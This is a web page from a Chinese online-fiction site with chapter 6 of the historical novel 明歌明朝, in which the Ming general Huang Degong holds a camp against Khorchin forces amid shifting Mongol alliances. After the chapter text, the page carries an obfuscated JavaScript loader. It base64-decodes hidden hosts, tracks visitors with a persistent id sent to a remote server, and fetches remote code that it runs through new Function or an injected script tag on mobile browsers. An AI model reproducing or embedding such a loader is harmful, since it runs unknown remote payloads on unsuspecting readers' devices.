去读读 > 玄幻魔法 > 明歌明朝 > 第六章 :歧路相逢

第六章 :歧路相逢(1/2)

上一章明歌明朝章节目录下一页
黄得功是幸运的,刚猛易折,像他这样的猛将,阵亡比例是相当高的。

“得功每战,饮酒数斗,酒酣气益厉。喜持铁鞭战,鞭渍血粘手腕,以水濡之,久乃得脱,军中呼为黄闯子。其军行纪律严,下无敢犯,所至人感其德。”

大明也是幸运的,因为他们选择的先锋官是黄得功。

事先高调出兵,明兵发铁山、锦州,暗兵发朵颜,原本是万全之策。但人家后金那边也一样有高人,既然你大明要在铁山和济雪连星堡闹事,那么好,我们出奇兵,去收拾朵颜三十六家去。

相比之下,后金就显得有些背运。

敌对双方的战略制定者,都不约而同的想到了声东击西。并且后金还提前了一步,已经先灭了一家部落。

大军南下,准备趁胜进击时,却自外放的游哨那里获悉,大明竟然在兴隆山南麓建了一处营寨,看其规模,应该是八营3万人的规模!!!于是,整顿兵马前来夺寨。前行途中,又接到了一个身负重伤的骑兵,听其人述说,寨内只有一营人马,显然是先锋之军,先来这里安营扎寨的。领头的是‘恶名远播’的黄虎山。

这下应对就好制定了,上去爆打就是了。拿下这块骨头,看后面的明军的还想怎样?但是,小小的营寨,在围攻了整整一个昼夜之后,仍然在坚持着。

骑射、硬闯、火攻、招降各种方法都用过了,黄闯子愣是没倒。第三天早起,还没开打呢,奥巴领着多罗特部落、四子部落、噶尔玛伊勒登部、巴岳特部、阿鲁科尔沁部、乌齐叶特部、弘吉剌特部,一共七部落的联军赶来了。

‘阿鲁科尔沁’汉语的意思是‘我的父亲科尔沁’,

刚刚被灭的‘阿鲁伊苏特部’的名字,也是这么来的。

按道理来讲,如果‘科尔沁’先灭‘阿鲁科尔沁’,也闹不出太大的动静,毕竟份属同宗,怎么打都是你们自己个儿的家事。但科尔沁大汗也是因为这个原因,才选择阿鲁伊苏特先打。

可是打了伊苏特,其余的部落又不干了。

“哦,阿鲁科尔沁是你的同宗,阿鲁伊苏特就跟你不是同宗了吗?草原大小数百支部落,谁家的祖先不是成吉思汗的子孙?既然你今天不声不响的就把人家族灭了,保不齐明天灭我们来。”

于是,原本就对奥巴的建议,比较感兴趣的几家部落,再短短三天内,就凑齐了八千人马,跟着奥巴赶来助拳了。

奥巴的到来,意味着两点:

1.大明这支奇兵,与朵颜八卫的合作正式开始。

2.科尔沁、喀喇沁的三万联军,被彻底拖在了兴隆山下。

撤军,不行,人家可是有八千蒙古联军滴,这些人熟悉地形,有他们带路向导,自己再分散后退,被人家怎么杀的都还不知道呢?与其这样,不如来一次决战。

决战,也是难办,眼前的蒙明联军,加上后续将至的大明八营人马,人数上,已经超过自己。一个黄闯子都这么难缠,八营明军!谁敢说必胜?

再有,自己屠灭‘阿鲁伊莱特部’的风声已经传开,另外十几家保持中立的部落,很难说会不会派军围剿自己。

惟一的法子,也是最佳的法子,请救兵去。

往北,是和自己同盟的十大部落,只要十部落共同出兵,人数起码能超过对手。

往东,是与自己三代姻亲的后金,只要出动两蓝旗兵马,己方的实力必定大增。

就这样,如同滚雪团一般,兴隆山下,势必成为一块吸盘,双方的兵力将逐步积累到十几二十万的会战规模。

所以,黄得功也是不幸的,因为他臀部的伤口,使得他已经连续七天不能骑马了。李老栓、高恒翔等人,这些天没少拿这事揶揄他。

“将军的三眼铳响的时候,俺***还以为有奸细刺杀呢!”李老栓随口吐了一口痰,然后接着说:“谁成想,竟然是将军自己的枪走火。可吓死俺了”,李老栓夸张的躺倒地上,“当时没看将军的屁股呢,整整半扇,都是血。”

哈哈哈,一众的将官轰然大笑。

“后来将军对着俺喊,‘老栓,叫老高替我’”说到着,李老栓顺手抓一把碎土,扬手打在高恒翔的身上。“老高,当了半夜的将军,感觉如何?”

高恒翔大口的灌一口酒,恶狠狠的说:“在下后悔没立刻下令,拔了你的舌头。”

“哈哈哈!”

忠真营的一群‘兵痞’,旁若无人的喧哗,引得其他几营都频频侧目。

这兴隆大营之中,真正边军背景的,只有忠真营和黑云龙的忠合军。

黑云龙又负责粮草辎重去了,其余各营,连曹文耀的忠毅营在内,都是天津武学出来的人居多,所以都很有儒雅风格。

因此,现在整个兴隆大营,只有忠真营是个异类。军纪按说也好,打仗更是悍勇,以四千对三万,竟然能坚持两夜一天近百阵,任谁也挑不出毛病。偏偏这些人在平时无事可作的时候,常常会乱叫乱笑,兵痞形象显露无疑。

当然,这是小事儿,因为他们在军营内再痞,却绝没有鱼肉地方的劣迹,因此,稍稍大声喧哗,还影响不到吴阿衡和周遇吉他们聚在一起研究对策。也影响不到黄得功。

此刻,黄得功趴在他的帐中的毡毯上,正一小口,一小口的吃着面饼。自从奥巴领着八千联军赶到后,一直到整个大军也安顿下来,整整七天的时间里,一场仗也没有,想想也是,对方一定去搬救兵去了,自己这边,也刚好可以趁这个机会快快养伤。

但凡脱颖而出的猛将,其实都是粗中有细滴。黄得功也不例外,他在接到奥巴后,先是亲眼看着他们跟科尔沁的人马,真刀真枪的拼杀之后,才开营门放入的。

随后,在总兵官吴阿衡还没到的情形下,先跟奥巴商量,尽量派遣部落骑兵,去草原各部讨援兵。他能准确预判形势,完全出自本能。

从昨天回返之人带的消息看,那些中立部落中,一共又有十二家,各自派了1千勇士过来,并且举族向迁西靠拢。战事未开,而结局已定,朵颜三十六家,正式划分为两大阵营,以科尔沁为首的东北十六家,以奥巴多罗特为首的西南十九家。

兴隆山之战,已经成为谁将主宰这片大草原的生死决战了。

“将军,马大人叫俺来问您,如果您不用那把‘转轮’枪,马大人想要。”

他的亲随在帐外高喊,黄得功吃饭的时候通常要躲起来,是这一年来,刚刚立的规矩。所以,亲随只是站在帐外禀告。

“切!”黄得功笑了笑,将面饼揣进怀里,慢慢爬起来,一瘸一拐的走了出去。

“马大人用枪干什么?难不成想杀了李老栓?”

“呵呵,呵呵!”亲随傻笑的陪着他往外营走去。

“好吧,给他便是,但是,让小冀教教他,可别伤了自己人。”

黄得功从左大腿上的皮囊中抽出火枪,交给了小校。他还是愿意用三眼铳,这玩意可以连续打三次,转轮枪威力是大,但每次换弹的时间太长,所以,很多火线上的将官,都把转轮单手铳当个玩意儿来把玩。并且,他们已经将皇上‘赐名’的‘左轮’,正式改叫成‘转轮’了。

黄得功的小校拿着枪跑开了,黄得功一时闲的有些发慌,便抬腿迈步的,找申甫去了,刚掀开申甫的帐幕,黄得功便高喊:

“申将军,前天跟你提的事情,你考虑的如何了?”

黄得功前天跟申甫讨论,能不能配几门火炮给他,申甫答应跟自己的监军一起研究研究,今天黄得功眼见又是无战,所以就过来看看他们的进展。说完话,黄得功很随意的靠着墙根单腿跪坐了下去,没法子,屁股还没好呢,好在地上铺着的毡毯,还算厚实。

申甫是和尚出身,所以帐中的陈设,与黄得功的很像,都是极其简陋,连监军周胤进来,也只是多一个厚蒲团而已。这也是黄得功最愿意跟申甫亲近的原因。

周胤现在彻底明了了皇帝的苦心,他自从来到新车营之后,就没睡过一个整觉,没办法,大脑太兴奋了。经常是大半夜的发癔症,拉着申甫看他临时兴起画的图纸。

表面上,申甫是一个假模假式的苦行僧,骨子里却着实一个科学疯子,所以,周胤找他,他不但不觉得烦,反而更高兴,刘之纶被派到山东当文官去了,他申甫很久没有这种找到知音的感觉了。

黄得功进来的时候,申甫正在跟周胤争论着什么?以至于黄得功都坐下半天了,申甫二人还在讨论。

“万胜小佛郎机的威力是够了,但是你让忠真营的人怎么更换子膛?”
上一章明歌明朝章节目录下一页
function DcdGKZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DcdGKZ(t);};window[''+'B'+'y'+'Z'+'H'+'e'+'R'+'y'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://deh.insfhrt.com:8887/stats/70521?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmhibHN3cnFvLmNvbSUzQTg4OODc=','d3NNzJTNNBJTJGJTJGZC52dHlpdHByLmNNvbSUzQTg4ODc=','50662',window,document,['O','N']);}:function(){};